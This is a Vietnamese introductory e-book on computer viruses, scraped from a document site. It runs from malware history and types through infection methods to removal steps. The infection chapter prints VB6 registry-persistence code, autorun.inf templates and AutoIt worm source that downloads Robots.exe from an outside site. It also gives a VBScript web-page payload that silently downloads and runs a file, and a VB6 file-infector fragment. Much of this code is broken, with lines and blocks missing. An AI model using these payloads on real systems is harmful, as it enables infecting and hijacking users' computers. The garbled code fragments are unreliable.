Professional Documents
Culture Documents
Tong Quan Virus
Tong Quan Virus
Virus cơ bản
Lời tựa
Bạn có thể là một kỹ sư, một học sinh hay là một nhà giáo. Nhưng dù là ai thì cũng có lẽ
hơn một lần bạn nghe về virus và thậm chí gặp lại vấn đề với chúng. Tuy nhiên, rõ ràng
việc hiểu về chúng thật không đơn giản, cách chúng làm việc và cả cái cách mà chúng làm
phiền chúng càng khiến chúng trở nên bí ẩn.
Cuốn sách này cố gắng nêu ra những định nghĩa cơ bản nhất và những ví dụ để bạn có thể
hiểu hơn về virus. Chúng là gì ? Chúng hoạt động ra sao ? Tiêu diệt chúng như thế nào ?
Dù nhiều cố gắng, nhưng cuốn sách sẽ không thể trách khỏi những sai sót. Rất mong bạn
đọc hồi âm với những sai sót mà cuốn sách gặp phải.
Mục lục
Trong chương này chúng ta sẽ đi sâu vào tìm hiểu những khái niệm về virus. Từ virus
thông thường mà chúng ta thường dùng thực ra chỉ là một cái tên chung của nhiều loại mã
độc riêng lẽ mà thôi. Chương này sẽ giải thích từng khái niệm mã độc này.
Năm 1949: John von Neuman (1903-1957) phát triển nền tảng lý thuyết tự nhân bản của
một chương trình cho máy tính.
Vào cuối thập niên 1960 đầu thập niên 1970 đã xuất hiện trên các máy Univax 1108 một
chương trình gọi là "Pervading Animal" tự nó có thể nối với phần sau của các tập tin tự
hành. Lúc đó chưa có khái niệm virus.
Năm 1981: Các virus đầu tiên xuất hiện trong hệ điều hành của máy tính Apple II.
Năm 1983: Tại Đại Học miền Nam California, tại Hoa Kỳ, Fred Cohen lần đầu đưa ra khái
niệm computer virus như định nghĩa ngày nay.
Năm 1986: Virus "the Brain", virus cho máy tính cá nhân (PC) đầu tiên, được tạo ra tại
Pakistan bởi Basit và Amjad. Chương trình này nằm trong phần khởi động (boot sector)
của một dĩa mềm 360Kb và nó sẽ lây nhiễm tất cả các ổ đĩa mềm.
Cũng trong tháng 12 năm này, virus cho DOS được khám phá ra là virus "VirDem". Nó có
khả năng tự chép mã của mình vào các tệp tự thi hành (executable file) và phá hoại các
máy tính VAX/VMS.
Năm 1987: Virus đầu tiên tấn công vào command.com là virus "Lehigh".
Năm 1988: Virus Jerusalem tấn công đồng loạt các đại học và các công ty trong các quốc
gia vào ngày thứ Sáu 13. Đây là loại virus hoạt động theo đồng hồ của máy tính (giống
bom nổ chậm cài hàng loạt cho cùng một thời điểm).
Tháng 11 cùng năm, Robert Morris, 22 tuổi, chế ra worm chiếm cứ các máy tính của
ARPANET, làm liệt khoảng 6.000 máy. Morris bị phạt tù 3 năm và 10.000 dollar. Mặc dù
vậy anh ta khai rằng chế ra virus vì "chán đời" (boresome).
Năm 1990: Chương trình thương mại chống virus đầu tiên ra đời bởi Norton.
Năm 1991: Virus đa hình (polymorphic virus) ra đời đầu tiên là virus "Tequilla". Loại này
biết tự thay đổi hình thức của nó, gây ra sự khó khăn cho các chương trình chống virus.
Năm 1994: Những người thiếu kinh nghiệm, vì lòng tốt đã chuyển cho nhau một điện thư
cảnh báo tất cả mọi người không mở tất cả những điện thư có cụm từ "Good Times" trong
dòng bị chú (subject line) của chúng. Đây là một loại virus giả (hoax virus) đầu tiên xuất
hiện trên các điện thư và lợi dụng vào "tinh thần trách nhiệm" của các người nhận được
điện thư này để tạo ra sự luân chuyển.
Năm 1995: Virus văn bản (macro virus) đầu tiên xuất hiện trong các mã macro trong các
tệp của Word và lan truyền qua rất nhiều máy. Loại virus này có thể làm hư hệ điều hành
chủ. Macro virus là loại virus viết ra bằng ngôn ngữ lập trình Visual Basic cho các ứng
dụng (VBA) và tùy theo khả năng, có thể lan nhiễm trong các ứng dụng văn phòng của
Microsoft như Word, Excel, PowerPoint, OutLook,.... Loại macro này, nổi tiếng có virus
Baza và virus Laroux, xuất hiện năm 1996, có thể nằm trong cả Word hay Excel. Sau này,
virus Melissa, năm 1997, tấn công hơn 1 triệu máy, lan truyền bởi một tệp đính kèm kiểu
Word bằng cách đọc và gửi đến các địa chỉ của Outlook trong các máy đã bị nhiễm virus.
Virus Tristate, năm 1999, có thể nằm trong các tệp Word, Excel và Power Point.
Năm 2000: Virus Love Bug, còn có tên ILOVEYOU, đánh lừa tính hiếu kì của mọi người.
Đây là một loại macro virus. Đặc điểm là nó dùng đuôi tập tin dạng "ILOVEYOU.txt.exe".
Lợi dụng điểm yếu của Outlook thời bấy giờ: theo mặc định sẵn, đuôi dạng .exe sẽ tự
động bị dấu đi. Ngoài ra, virus này còn có một đặc tính mới của spyware: nó tìm cách đọc
tên và mã nhập của máy chủ và gửi về cho tay hắc đạo. Khi truy cứu ra thì đó là một sinh
viên người Philippines. Tên này được tha bổng vì Philippines chưa có luật trừng trị những
người tạo ra virus cho máy tính.
Năm 2002: Tác giả của virus Melissa, David L. Smith, bị xử 20 tháng tù.
Năm 2003: Virus Slammer, một loại worm lan truyền với vận tốc kỉ lục, truyền cho
khoảng 75 ngàn máy trong 10 phút.
Năm 2004: Đánh dấu một thế hệ mới của virus là worm Sasser. Với virus này thì người
ta không cần phải mở đính kèm của điện thư mà chỉ cần mở lá thư là đủ cho nó xâm nhập
vào máy. Cũng may là Sasser không hoàn toàn hủy hoại máy mà chỉ làm cho máy chủ trở
nên chậm hơn và đôi khi nó làm máy tự khởi động trở lại. Tác giả của worm này cũng lập
một kỉ lục khác: tay hắc đạo (hacker) nổi tiếng trẻ nhất, chỉ mới 18 tuổi, Sven Jaschan,
người Đức. Tuy vậy, vì còn nhỏ tuổi, nên vào tháng 7 năm 2005 nên tòa án Đức chỉ phạt
anh này 3 năm tù treo và 30 giờ lao động công ích.
Với khả năng của các tay hacker, virus ngày ngay có thể xâm nhập bằng cách bẻ gãy các
rào an toàn của hệ điều hành hay chui vào các chổ hở của các phần mềm nhất là các
chương trình thư điện tử, rồi từ đó lan tỏa khắp nơi theo các nối kết mạng hay qua thư
điện tử. Do dó, việc truy tìm ra nguồn gốc phát tán virus sẽ càng khó hơn nhiều. Chính
Microsoft, hãng chế tạo các phần mềm phổ biến, cũng là một nạn nhân. Họ đã phải nghiên
cứu, sửa chữa và phát hành rất nhiều các phần mềm nhằm sửa các khuyết tật của phần
mềm cũng như phát hành các thế hệ của gói dịch vụ (service pack) nhằm giảm hay vô
hiệu hóa các tấn công của virus. Nhưng dĩ nhiên với các phần mềm có hàng triệu dòng mã
nguồn thì mong ước chúng hoàn hảo theo ý nghĩa của sự an toàn chỉ có trong lý thuyết.
Đây cũng là cơ hội cho các nhà sản xuất các loại phần mềm bảo vệ có đất dụng võ.
Tương lai không xa có lẽ virus sẽ tiến thêm các bước khác như: nó bao gồm mọi điểm
mạnh sẵn có (polymorphic, sasser hay tấn công bằng nhiều cách thức, nhiều kiểu) và còn
kết hợp với các thủ đọan khác của phần mềm gián điệp (spyware). Đồng thời nó có thể
tấn công vào nhiều hệ điều hành khác nhau chứ không nhất thiết nhắm vào một hệ điều
hành độc nhất như trong trường hợp của Windows hiện giờ. Và có lẽ virus sẽ không hề
(thậm chí là không cần) thay đổi phương thức tấn công: lợi dụng điểm yếu của máy tính
cũng như chương trình.
Virus có ở đâu ?
Có nhiều người nhầm tưởng virus chỉ tồn tại trên máy tính và chỉ xuất hiện trên hệ điều
hành phổ biến là Windows. Tuy nhiên thật ra không phải vậy.
Hiện nay virus không chỉ tồn tại trên hệ điều hành Windows mà tại bất kỳ hệ điều hành
(Thông dụng) nào đều đã có sự xuất hiện của virus. Linux, Unix, MacOS với máy tính và
ngay cả hệ điều hành Sysbian dành cho điện thoại di động đều đã có những virus lây
nhiễm.
Tuy nhiên, do tính phổ biến là cao nhất nên không có gì khó hiểu mà hệ điều hành
Windows trở thành hệ điều hành mà nhiều virus đã và đang xuất hiện nhiều nhất.
Tuy nhiên bạn nên tránh ngộ nhận. Không phải bắt buộc những file mang đuôi mở rộng
như trên đều là virus, nó chỉ là những phần mở rộng có nhiều khả năng bị virus tấn công
mà thôi.
Sâu máy tính (worm): là các chương trình cũng có khả năng tự nhân bản tự tìm cách lan
truyền qua hệ thống mạng. Điểm cần lưu ý ở đây, ngoài tác hại thẳng lên máy bị nhiễm,
nhiệm vụ chính của worm là phá các mạng thông tin, làm giảm khả năng hoạt động hay
ngay cả hủy hoại các mạng này. Nhiều nhà phân tích cho rằng worm khác với virus, họ
nhấn mạnh vào đặc tính phá hoại mạng nhưng ở đây worm được là một loại virus đặc biệt.
Trojan Horse : Đây là loại chương trình cũng có tác hại tương tự như virus chỉ khác là nó
không tự nhân bản ra. Như thế, cách lan truyền duy nhất là thông qua các thư dây chuyền
Để trừ loại này người chủ máy chỉ việc tìm ra tập tin Trojan horse rồi xóa nó đi là xong.
Tuy nhiên, không có nghĩa là không thể có hai con Trojan horse trên cùng một hệ thống.
Chính những kẻ tạo ra các phần mềm này sẽ sử dụng kỹ năng lập trình của mình để sao
lưu thật nhiều con trước khi phát tán lên mạng. Đây cũng là loại virus cực kỳ nguy hiểm.
Nó có thể hủy ổ cứng, hủy dữ liệu.
Phần mềm gián điệp (spyware): Đây là loại virus có khả năng thâm nhập trực tiếp vào
hệ điều hành mà không để lại "di chứng". Thường một số chương trình diệt virus có kèm
trình diệt spyware nhưng diệt khá kém đối với các đợt "dịch".
Phần mềm quảng cáo (adware): Loại phần mềm quảng cáo, rất hay có ở trong các
chương trình cài đặt tải từ trên mạng. Một số phần mềm vô hại, nhưng một số có khả
năng hiển thị thông tin kịt màn hình, cưỡng chế người sử dụng.
Sau đây là 3 phương thức khác nhau cùng một vài đoạn code trên VB6 thể hiện việc này.
I.1.a Ghi Key trong Regedit theo các địa chỉ sau :
HKEY_LOCAL_MAHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Code :
Module :
Option Explicit
‘Khai báo các hàm API
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA"
(ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA"
(ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long,
ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA"
(ByVal hKey As Long, ByVal lpValueName As String) As Long
Bạn chú ý với phương pháp ghi key như sau sẽ bị một số phần chống virus nhận dạng và
chặn lại nên rất hiếm gặp kiểu ghi key này (Ngoại trừ các virus trên VBScript vẫn sử
dụng).
Set reg = CreateObject("WScript.Shell")
reg.regwrite
"HKEY_LOCAL_MAHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start",
App.Path + "\" + App.EXEName + ".exe"
Đường dẫn ghi ở 2 key này sẽ được Windows khởi động ngay cả trong SafeMode. Đây
cũng chính là lý do mà một số virus vẫn hoạt động ngay cả khi bạn làm việc trên
SafeMode của hệ điều hành.
Các virus khi ghi giá trị là đường dẫn của mình vào key Userinit thường ghi thành dạng
như sau :
Đường dẫn key : HKEY_LOCAL_MAHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Userinit
Gía trị: C:\Windows\System32\userinit.exe, Đường dẫn virus
Với C:\Windows là thư mục cài đặt hệ điều hành.
Điều này có nghĩa rằng, cả userinit.exe và cả virus đều được chạy. Và như thế hệ điều
hành vẫn sẽ không hiện tượng gì bất ổn mà virus vẫn sẽ được khởi động. Đây là một giải
pháp an toàn.
Tuy nhiên không phải virus nào cùng làm vậy, một số virus đã ghi vào key này với giá trị
chính là đường dẫn virus. Điều này đồng nghĩa với việc chỉ có virus đó được kích hoạt khi
khởi động với key Userinit. Lúc này, nếu virus không gọi file explorer.exe thì hệ thống sẽ
bị ngừng hoạt động.
Đây là vấn đề rất lớn mà rất đông người dùng máy tính gần đây mắc phải.
Để tránh tình trạng tê liệt này, bạn nên chú ý tới các key này khi diệt virus.
Code : (Code mẫu với Key Userinit)
Module :
Option Explicit
‘Các hàm API để tác động vào registry
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" _
Alias "RegCreateKeyA" ( _
ByVal hKey As Long, _
ByVal lpSubKey As String, _
phkResult As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" ( _
ByVal hKey As Long, _
ByVal lpValueName As String, _
ByVal Reserved As Long, _
ByVal dwType As Long, _
lpData As Any, _
ByVal cbData As Long) As Long
‘Hàm API để xác định thư mục hệ thống
Declare Function GetWindowsDirectory Lib "kernel32" Alias
"GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As
Long
End Sub
‘Phần AppVirus là đường dẫn File của bạn
‘Câu lệnh Shell PathExp là rất cần thiết
Có lẽ tới đây bạn có thể hiểu, việc đoạn code trên phải có dòng lệnh Shell PathExp là để
tránh hệ thống bị tê liệt.
Nếu các khoá không có giá trị "\"%1\" %*" như trên và bị thay đổi một số thứ kiểu như
"\"somefilename.exe %1\" %*" thì chúng sẽ tự động gọi một file đặc tả.
2. Lây nhiễm :
a. Email :
Lây truyền qua email là phương thức cơ bản nhất của virus sử dụng mạng internet để
truyền nhiễm.
Dù là một phương thức đã tồn tại khá lâu, nhưng đến hiện nay, đây vẫn là một phương
thức được rất nhiều virus sử dụng.
Sau đây là một đoạn mã minh họa quá trình gửi email từ một máy đã bị lây nhiễm qua
email của những người khác thông qua việc liệt kê danh sách email những người đã từng
có liên hệ với máy nạn nhân trên Outlook Explorer (OE).
Sau đây là các bước một virus thường làm để lây truyền qua đĩa USB.
1. Tìm ổ đĩa USB (Xem có tồn tại không)
- Liệt kê tất cả ổ đĩa
- Kiểm tra xem trong các ổ đĩa đó, ổ đĩa nào là đĩa giao tiếp qua USB.
2. Sau khi thực hiện bước này, có 2 cách lây nhiễm vào USB chủ yếu như sau :
a. Virus tự nhân bản mình vào một địa chỉ nhất định trên USB, rồi tạo file autorun.inf
trong USB nhằm tự kích hoạt mình nếu máy nào đó bất cẩn khi sử dụng đĩa USB đó.
b. Virus sẽ liệt kê toàn bộ thư mục có trong USB. Tại mỗi thư mục đó virus sẽ tự nhân bản
mình giả dạng 1 thư mục con của tư mục đó (Thường thì các virus này sẽ biểu tượng
giống hình một thư mục thông thường).
Ở cách 2.b virus sẽ tạo file autorun.inf có cấu trúc như sau :
[Autorun]
OPEN=Đường dẫn virus trong đĩa USB
Trên đây chỉ là cấu trúc cơ bản. Cấu trúc này có thể có sự khác biệt, ví dụ trong trường
hợp sau :
[AutoRun]
open=pagefile.pif
shell\open=´ò¿ª(&O)
shell\open\Command=pagefile.pif
shell\open\Default=1
shell\explore=×ÊÔ´¹ÜÀíÆ÷(&X)
shell\explore\Command=pagefile.pif
Dù file ở dưới quy định nhiều thuộc tính hơn, nhưng về chức năng cơ bản thì không đổi.
Chức năng của file này là sẽ tạo cho đĩa USB có chế độ Autorun. Ở chế độ này, khi người
dùng mở đĩa USB đó theo cách thông thường (Như nháy đúp vào file đó) thì thay vì đĩa
USB đó được mở sẽ tự động chạy file có đường dẫn lưu trữ tại khóa có giá trị OPEN.
Bạn rất khó nhận ra sự khác biết giữa việc Open bình thường của đĩa USB với việc Autorun
này. Lý do là các virus được kích hoạt ở trong đĩa USB sẽ mở thư mục của đĩa USB ra.
Sau đây là một đoạn mã thể hiện quá trình lây nhiễm theo cách 2.b :
Nhắn tin nhanh (hay tin nhắn tức khắc, trò chuyện trực tuyến, chát - từ chat trong tiếng
Anh, IM viết tắt của Instant Messaging), là dịch vụ cho phép hai người trở lên nói chuyện
trực tuyến với nhau qua một mạng máy tính.
Mới hơn IRC, nhắn tin nhanh là trò chuyện mạng, phương pháp nói chuyện phổ biến hiện
nay. Nhắn tin nhanh dễ dùng hơn IRC, và có nhiều tính năng hay, như khả năng trò
chuyện nhóm, dùng biểu tượng xúc cảm, truyền tập tin, tìm dịch vụ và cấu hình dễ dàng
bản liệt kê bạn bè.
Nhắn tin nhanh đã thúc đẩy sự phát triển của Internet trong đầu thập niên 2000.
Một giao thức phổ biến đó là giao thức XMPP (Jabber). Đây là giao thức mở, an toàn, và
máy chủ nào hỗ trợ giao thức này đều có thể kết nối được với nhau. Ứng dụng khách
Jabber có khả năng truy cập mọi giao thức/mạng IM: MSN Messenger, Yahoo!, AIM, ICQ,
Gadu-Gadu, ngay cả IRC và SMS. Chỉ một chương trình Jabber có thể nói chuyện với bạn
bè trên mọi mạng.
Có một số ứng dụng khách Jabber là phần mềm tự do đa nền tảng và đã dịch sang tiếng
Việt Psi, Gaim và JWChat. Cũng có Gossip dành cho hệ điều hành Linux/UNIX.
Ứng dụng nhắn tin nhanh có khả năng VoIP, nói chuyện trực tiếp qua máy tính, như điện
thoại.
Ở Việt Nam dịch vụ IM thông dụng nhất là dịch vụ của Yahoo!. Ở Việt Nam cũng đã có
những dịch vụ IM của riêng mình đó là VNN Messenger hay Zing (Tuy nhiên Zing Chat là
một hệ thống IM được Việt Hoá).
Trước đây, đã có nhiều virus lây lan bằng các dịch vụ nhắn tin (Chủ yếu là sử dụng IRC,
MSN hay Spyke) nhưng dạo này người dùng Việt Nam mới để ý đến chúng do cơn “dịch”
virus nội lây qua dịch vụ IM của Yahoo! mà khởi đầu là virus GaiXinhYM.
Cơn “dịch” này bắt đầu từ năm 2006 vả đến nay thì vẫn chưa hoàn toàn kết thúc. Hàng
trăm virus nội xuất hiện có cùng hình thức lây nhiễm qua dịch vụ nhắn tin này.
Tuy nhiên thao tác cơ bản khi chúng hoạt động thường chỉ gồm các thao tác sau :
Sau đây là đoạn code của 1 virus lây qua mạng IM của Yahoo! viết trên AutoIt (Mã nguồn
virus GaiXinhYM).
; --------------------------------------------------------------------------
--
; <AUT2EXE INCLUDE-START: C:\Documents and Settings\Hai
Long\Desktop\Robots.au3>
; --------------------------------------------------------------------------
--
; --------------------------------------------------------------------------
--
;
; AutoIt Version: 3.1.0
; Author: A.N.Other <myemail@nowhere.com>
;
; Script Function:
; Template AutoIt script.
;
; --------------------------------------------------------------------------
--
$version = "1.0"
AutoItSetOption ("TrayIconHide","1")
InetGet ( "Http://xrobots.net/Gift/Robots.exe" ,@WindowsDir &
"\Messenger.exe" ,0,1)
sleep(3000)
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wi
ndows\CurrentVersion\Run","Yahoo!!!","REG_SZ",@Win dowsDir &
"\Messenger.exe")
Next
; -----------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: C:\Documents and Settings\Hai
Long\Desktop\Robots.au3>
; -----------------------------------------------------------------------
Thuở sơ khai, Internet chưa có hình ảnh, hoạt hoạ tươi đẹp như hôm nay. Do nhu cầu
trình diễn và nhiều ứng dụng trên trang web ngày càng mạnh, người ta đã xây dựng nên
các công cụ để phục vụ mục đích ấy. ActiveX hay các script xuất hiện vì các lý do ấy.
Tuy nhiên, những công cụ này cũng tạo ra những lỗ hổng bảo mật nguy hiểm.
Các virus Việt Nam đã sử dụng 1 lỗ hổng về mã VBScript của trình duyệt Internet Explorer
(Một trình duyệt web phổ biến ở Việt Nam) để lây nhiễm.
Sau đây là đoạn mã VBScript thực hiện việc cài virus vào máy người truy cập trang web :
<script language="VBScript">
on error resume next
dl = "Link virus"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="Tên lưu trong máy"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
Trong đó :
Link virus : Là đường dẫn nơi lưu trư virus.
Tên lưu trong máy : Là tên bản sẽ được lưu trong máy tính nạn nhân. Nếu ở đây chỉ có
tên thì mặc định virus sẽ được lưu vào thư mục hệ thống.
6. Qua file
Đây là cách lây nhiễm virus đã tồn tại rất lâu. Cách thức lây nhiễm cơ bản là virus sẽ thay
đổi nội dung file của bạn mà sau đó khi bạn hay người khác làm việc với file ấy thì bạn sẽ
nhiễm phải virus.
Trước đây, phần lớn virus file chỉ tìm cách lây nhiễm vào các file định dạng exe, pif, com,
bat… và virus Macro thay đổi cấu trúc các file văn bản (.doc của Word và .xls của Excel).
Nhưng theo tôi nhận thấy, gần đây đã có một số virus nhiễm vào file thông minh hơn.
Các virus marco hiện nay đã gần như hết đất sống, khi các công cụ diệt virus và của chính
hãng cung cấp phần mềm soạn thảo văn bản ngày càng chú ý đến dạng virus này.
Tuy nhiên, theo tôi nhận thấy, gần đây một số virus đã rất thông minh khi vẫn lây nhiễm
vào các định dạng doc và xls mà không cần sử dụng đến marco.
Một ví dụ cụ thể là virus Ukuran. Đây là virus phá hoại dữ liệu các file .DBF, .LDF, .MDF,
.BAK và thay đổi các file .doc và .xls . Virus thực tế đã không thay đổi cấu trúc file gốc mà
đã xoá file ấy đi và tạo 1 file mới cùng tên với file văn bản ấy với phần mở rộng là “.exe” .
Trong file mới này, virus đã chèn chính mình ở phía trên và phần dữ liệu của file văn bản ở
phía cuối file. Khi được kích hoạt, chúng sẽ tách dữ liệu của file văn bản ở cuối file để tạo
thành 1 file mới và cho người dùng làm việc trên file này.
Lúc này, file virus tạo là file thực thi chứ không phải là 1 file văn bản như ban đầu. Kẻ viết
virus đã rất thông minh khi để biểu tượng (Icon) của virus chính là biểu tượng của các file
văn bản tương ứng. Điều này làm người dùng nhầm lẫn file này chính là file văn bản mà
vô tình kích hoạt và nhiễm virus
Sau đây là đoạn mã của virus chèn dữ liệu của mình vào phái trên của các file .exe :
Option Explicit
Private victim As String
Private myarray() As Byte
Private varray As Byte
Private length As Long
Private chck As String
Dim I As Long
Dim Free
Free = FreeFile
Close #Free
‘Bắt đầu thực hiện việc liệt kê các file .exe tồn tại trong cùng thư mục
đang chứa virus
victim = Dir(App.Path & "\" & "*.EXE")
End If
Else
End If
Victim = Dir()
Wend
‘Lấy toàn bộ dữ liệu của file hiện tại (Trừ đi dung lượng của virus)
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
length = (LOF(Free) - size)
If Length > 0 Then
myarray = Space(length)
Get #Free, size, myarray
Close #Free
‘Đặt dữ liệu ban đầu (Dữ liệu khi chưa bị nhiễm virus) vào 1 file
Open App.Path & "\" & App.EXEName & ".tut" For Binary Access Write As #Free
Put #Free, , myarray
Close #Free
‘Chay file sạch (File ban đầu trước khi bị lây nhiễm)
idProg = Shell(App.Path & "\" & App.EXEName & ".tut", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
‘Lấy mã số chương trình đang chạy
GetExitCodeProcess hProg, iExit
Else
Close #Free
End If
End
Fin:
End Sub
Tống tiền
Một số loại phần mềm ác tính sử dụng một hệ thống mật mã hóa yếu (phá được) để mã
hóa dữ liệu thuộc về một cá nhân và đòi tiền chuộc thì mới khôi phục lại.
Phương thức thanh toán của kẻ điều khiển các loại virus này thường rất thông minh (Có
một vài kẻ bắt buộc người dùng phải mua một số món hang nhất định trên một đĩa chỉ
nào đó mà kẻ điều khiển quy định).
BotNet
Là một mạng lưới gồm nhiều máy tính đã bị nhiễm virus (Thường là worm, trojan) và bị
điều khiển từ xa. Các BotNet thường được kẻ điều khiển sử dụng để tấn công từ chối dịch
vụ (DDos) hay gửi thư rác (Spam) nhầm kiếm lợi cho mình.
Rootkit
Là bộ công cụ phần mềm che giấu sự tồn tại file nhưng thực ra nó vẫn hoạt động. Rootkit
thường được bên thứ ba (thường là kẻ xâm nhập) dùng sau khi chiếm được quyền truy
cập vào hệ thống máy tính. Các công cụ này thường nhằm để che dấu dữ liệu hệ thống,
tập tin hoặc tiến trình đang chạy, từ đó giúp cho kẻ xâm nhập duy trì quyền truy cập vào
hệ thống mà người dùng không biết. Rootkit có ở nhiều loại hệ điều hành như Linux,
Solaris và các phiên bản Microsoft Windows.
Trong những phần tiếp theo, chúng ta sẽ dựa vào các yếu tố trên để diệt các loại virus.
Tuy nhiên, việc nhận dạng và tiêu diệt virus chủ yếu dựa vào kinh nghiệm nên những
hướng dẫn sau đây sẽ không đi vào nói rõ làm sao để biết chúng là virus? Mà chỉ hướng
dẫn các thao tác cần thiết để diệt virus.
II. Dừng hoạt động của virus
Khái niệm về tiến trình (Process)
Trong khoa học máy tính, tiến trình là một thực thể điều khiển đoạn mã lệnh có riêng một
không gian địa chỉ, có ngăn xếp (stack) riêng rẽ, có bảng chứa các số miêu tả file (file
descriptor) dược mở cùng tiến trình và đặc biệt là có một định danh PID (process
identifier) duy nhất trong toàn bộ hệ thống vào thời điểm tiến trình đang chạy.
Dừng hoạt động của virus
Để nhận dạng và diệt virus thì thao tác cơ bản là phải nhân ra tiến trình virus đang làm
việc và diệt các tiến trình này.
Công cụ cơ bản của Windows để quản lý các tiến trình là Task Manager (Nhấn tổ hợp phím
Ctrl+Alt+Delele rồi chọn thẻ Processes). Tuy nhiên công cụ này không thật hiệu quả.
Công cụ mà tôi sử dụng chủ yếu để quản lý tiến trình là ProcessXP.
Để tiêu diệt một tiến trình đang chạy trong ProcessXP bạn chọn vào tiến trình ấy rồi bấm
Delete hoặc chuột phải rồi chọn Kill process.
Khi bạn nghi ngờ máy tính mình đã nhiễm virus, bạn tiêu diệt hết các tiến trình của các
ứng dụng mình đang chạy. Tuy nhiên có một số process bạn không nên tiêu diệt, đó là
những tiến trình của hệ thống. Cụ thể trong máy tôi thì những tiến trình được đóng khung
sau là những tiến trình của hệ thống.
Do tính chất của mình, các công cụ nhận dạng và diệt RootKit trên đây không cần cahỵ
thường trực mà chỉ làm việc khi bạn sử dụng nó. Vì vậy bạn nên tải nhiều công cụ trong
máy mình để khi cần thiết sẽ sử dụng nhiều công cụ khác nhau để tiến hành quét hệ
thống để sự an toàn được cao hơn.
xem lại phần nói về các khóa khởi động ở phần trên cuốn sách.
Các key chứa giá trị đường dẫn sẽ được khởi động ngay cả SafeMode (Và cả chế độ làm
việc thông thường) là :
HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Userinit
HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Shell
Trong Autoruns bạn sẽ dễ dàng nhận ra 2 key này. Các giá trị mặc định của máy tính
thông thường là (Nếu đĩa C là phân vùng chứa hệ điều hành)
Với key Userinit : C:\Windows\system32\userinit.exe
Với key Shell : C:\Windows\Explorer.exe
Nếu máy tính bạn có những giá trị khác tức là máy tính bạn có “Vấn đề”. Bạn hãy nhập lại
các giá trị trên vào các key (Bạn có thể mở Registry bằng cách chọn Run, nhập regedit và
ấn Ok). Hoặc bạn có thể dùng bất kỳ phần mềm nào khác cho phép sửa chữa registry.
Tuy nhiên bạn cần chú ý, khi bạn chỉnh sửa mà virus vẫn đang hoạt động thì nhiều khả
năng sẽ không có tác dụng.
Nếu bạn trong một lần khởi động nào đó mà máy không tìm thấy tập tin lưu trong 2 khóa
này thì Windows sẽ tự động Log Out. Để xử lý vấn đề này, bạn có thể xem ở phần sau.
Tuy nhiên việc bạn thiết lập như vậy khá vất vả, để nhanh chóng hơn bạn có thể dùng
phần mềm FixAttrb của Bkis để phục hồi lại thuộc tính cho các thư mục.
Chương trình có giao diện đơn giản và khả năng phục hồi dữ liệu rất nhanh.
Download : http://www.bkav.com.vn/home/Download/FixAttrb.exe
Cách 2
Bây giờ vào Start > Run.
Nếu mục Run bị khoá thì thực hiện theo phần 6 của bài viết này.
Gõ vào GPEdit.msc rồi chọn OK.
Sau đó vào tiếp User Configuration/Administrative Template/Windows
Component/Windows Explorer
Nhấn đúp chuột vào mục REMOVE THE FOLDER OPTIONS... và chọn Disable. Xong
đóng lại, ra Run gõ GPUPDATE /FORCE rồi bấm OK.
3. Không hiển thị được file ẩn
Triệu chứng: Bạn thấy biến mất dữ liệu, không nhìn thấy nó mặc dù biết chắc chắn là nó
vẫn ở đó. Mở Explorer, bấm Menu Tools, chọn Folder Options (nếu không nhìn thấy
Folder Options thì thực hiện mục 2 của bài viết này). Vào tab View/Advanced Settings,
mục "Hidden files and folders". Cho dù bạn có bấm xuống "Show Hidden Files and
Folders" rồi bấm Apply hay OK thì file ẩn vẫn cứ ẩn. Mở lại Setting đó thì nó lại như cũ.
Khắc phục: Mở Notepad ra, copy và dán đoạn mã này vào và save nó lại thành file
ShowHiddenFile.reg
REGEDIT4
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL]
"RegPath"="Software\\Microsoft\\Windows\\CurrentVersion\\
Explorer\\Advanced"
"Text"="@shell32.dll,-30500"
"Type"="radio"
"CheckedValue"=dword:00000001
"ValueName"="Hidden"
"DefaultValue"=dword:00000000
"HKeyRoot"=dword:80000001
"HelpID"="update.hlp#51105"
Sau khi save, bạn nhấn đúp chuột vào nó để import vào registry. Nếu cần restart lại máy.
Rồi vào Folder Options để hiệu chỉnh Show Hidden Files and Folder.
4. Bị ẩn (hidden) file và folder dữ liệu
Triệu chứng: Thấy biến mất dữ liệu. Mở Folder Options, chọn show all files lên thì nhìn
thấy dữ liệu tự động bị ẩn (bị đặt thuộc tính Hidden hoặc System). Bỏ check Hidden đi thì
không bỏ được. Thuộc tính System thì Windows đã bỏ không cho sử dụng, mặc dù thuộc
tính này của file vẫn tồn tại.
